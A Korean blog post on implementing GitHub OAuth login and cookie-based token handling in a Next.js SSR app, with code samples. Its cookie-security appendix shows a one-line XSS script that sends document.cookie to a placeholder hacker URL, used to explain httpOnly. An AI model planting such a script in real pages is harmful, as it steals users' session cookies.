# 현재 "모두의 개발"의 로그인과 인증방식 앞선 "로그인 구현(비밀번호, 토큰)"을 읽고 오시면 이해에 더 도움이 되실것입니다. [로그인 구현(비밀번호, 토큰)](https://blog-seolim.vercel.app/article/3) --- 앞서 비밀번호 암호화를 통한 회원가입과 토큰발급, 이를 스토어에 저장하는 방식을 고민해봤습니다. 이번엔 CSR이 아닌 Next.JS를 이용해 개발한 SSR 웹 어플리케이션에서 소셜 로그인과 cookie만을 이용해 구현하는 로직을 살펴보겠습니다. ## 소셜 로그인 과거 "모두의 개발"은 회원가입 과정을 포함시켜서 동작했지만 현재에는 회원가입 로직을 제거하고 소셜 로그인을 통한 인증으로 회원가입/로그인을 진행합니다. 인증된 정보를 DB에 저장하고 토큰을 발급하여 해당 토큰으로 서버와 인증/인가를 진행합니다. 깃허브의 소셜 로그인은 OAuth의 code 방식을 따르므로 브라우저 - 브라우저 서버(NEXT.JS) - 서버 - 인증 서버(Github)간의 핑퐁을 통해 인증과정을 거칩니다. ![](https://i.imgur.com/Qz8V4kI.png) 먼저 로그인버튼을 누르면 아래 코드가 동작하고 인증서버(GIT)로 code를 요청합니다. ```typescript const gitSignup = () => { router.push(`https://github.com/login/oauth/authorize?client_id=${process.env.NEXT_PUBLIC_GIT_CLIENT}`); }; ``` 인증서버는 설정된 redirect_uri로 code를 쿼리로 담아 전송합니다. "모두의 개발" 리다이렉트 url로 된 빈 페이지를 가지고 있습니다. 해당 페이지는 오로지 로그인을 위한 로직만 가진 빈 페이지 입니다. 빈 페이지에서 받은 code를 통해 인증서버(GIT)로 부터 토큰(git_token)을 받습니다. 받은 토큰을 통해 인증서버에 저장된 유저 정보 중 필요한 정보를 요청합니다. ```typescript export async function getServerSideProps(context: GetServerSidePropsContext) { const code = context.query.code as string; const { access_token } = await fetch('https://github.com/login/oauth/access_token', { method: 'post', headers: { 'Content-Type': 'application/json', Accept: 'application/json', }, body: JSON.stringify({ client_id: process.env.GIT_CLIENT, client_secret: process.env.GIT_SECRET, code, }), }).then((res) => res.json()); const { login, avatar_url, html_url } = await fetch('https://api.github.com/user', { headers: { Authorization: `Bearer ${access_token}`, Accept: 'application/vnd.github+json', }, }).then((res) => res.json()); ... } ``` 이 정보를 서버로 보내고 서버는 해당 정보가 DB에 있는지 검사하고 없다면 저장 후 토큰(server_token)을 받습니다. 이는 인증서버에서 받은 git_token과 다른 "모두의 개발" 서버의 api를 위한 토큰입니다. 서버는 이 토큰을 cookie에 저장하여 넘겨줍니다. ```typescript await fetch(`${process.env.BASEURL}/sign/git`, { method: 'POST', headers: { 'Content-Type': 'application/json', Accept: 'application/json', }, body: JSON.stringify({ login, avatar_url, html_url }), }).then((res) => { const setCookie = ((res.headers as any).raw()['set-cookie'] as string); context.res.setHeader('set-cookie', setCookie); }); ``` 모든 과정이 완료되면 main페이지로 redirect 합니다. ```typescript return ({ redirect: { destination: '/', permanent: false, }, }); ``` ## Server - Next 에서 Cookie 쿠키를 사용하면 장점이 무엇일까요? 다양한 장점이 있지만 일단 앞으로의 요청에 쿠키가 포함되어 전달된다는 점이 있을것입니다. 쿠키는 HTTP Response Header에 "set-cookie" 필드에 표기된 값을 저장합니다. 저장된 쿠키값은 이후 HTTP Request Header에 "cookie"필드에 저장되어 넘어갑니다. express를 사용한다면 아래와 같이 작성할 수 있습니다. ```typescript const someProcessResCookie = (req, res, next) => { res.cookie('cookie-key', cookieValue, { /** cookie option */ }) return res.end(); }; ``` 위 코드를 통해 보내진 Response의 Header에는 `Set-Cookie: cookie-key=cookieValue; Path= /; ...` 과 같은 형태로 기록되어 보내집니다. 브라우저는 해당 header를 파싱해서 브라우저에 쿠키를 저장합니다. 만약 CSR이라면 이 방법만으로 클라이언트에서 쿠키를 가져올 수 있지만, SSR로 구현하였을때 그렇게 동작할까요? SSR로 구현을 하면 redriect_uri를 통한 요청은 클라이언트 서버(NEXT.JS)를 거치기 때문에 클라이언트로 쿠키를 보내려면 클라언트 서버에서 별도로 response를 전달해 주어야 합니다. NEXT.js의 경우 아래와 같이 작성할 수 있습니다. ```typescript ... export async function getServerSideProps(context: GetServerSidePropsContext) { const response = await fetch('some get cookie'); /** * res.header.get('set-cookie')는 string을 가져온다. * 반면 res.setHeader는 리스트로 멀티 값을 처리하므로 * raw()를 통해 string으로 변환된 값이 아닌 기본 리스트를 가져온다. */ const setCookie = (response.header as any).raw()['set-cookie'] context.res.setHeader('set-cookie', setCookie); return ({ ... }) } ``` 이번 로직에선 토큰을 쿠키에 담아서 처리하므로 이전과 같이 정보를 store에 저장할 필요가 없습니다. 다만 유저정보를 처리하기 위해 유저 정보(아이디 등)을 쿠키로 같이 저장하거나, 전역 state에(redux store, contextAPI 등...) 저장해둡니다. "모두의 개발"은 유저 정보또한 cookie로 저장합니다. ## 부록 cookie 보안 cookie 보안의 가장 기본은 XSS에 대한 방지입니다. 브라우저에서 쿠키는 application memory에 저장되어 `document.cookie`로 접근할 수 있습니다. 만약 해커가 게시판등에 ``` `location.href = 'http://해킹url/?cookies=' + document.cookie; ``` 라 작성하면 해킹사이트로 cookie를 전달하게 됩니다. 따라서 브라우저에서 쿠키로 접근할 수 없도록 해야하고 이는 Set-Cookie 필드에 옵션으로 `httpOnly`를 추가하여 해결할 수 있습니다. "모두의 개발"은 유저 정보와 토큰을 쿠키로 저장합니다. 두개의 쿠키 중 토큰은 보안적으로 안전해야합니다. 따라서 토큰엔 httpOnly를 적용하고 유저 정보에는 httpOnly를 설정하지 않습니다. ```typescript res.cookie('token', token, { httpOnly: true }); res.cookie('user_info', user_info); ``` 위와 같이 설정하고 console창에 `document.cookie`를 호출해보면 token은 출력되지 않습니다. ## 마무리 구현을 어떤방식으로 할지에 따라 로그인에서 생각해야하는 로직은 적지 않습니다. "모두의 개발"은 적절하다고 생각하는 방법 중 하나를 선택해서 구현하였을 뿐 본인의 어플리케이션에 맞는 방법을 찾아 구현할 수 있도록 합시다.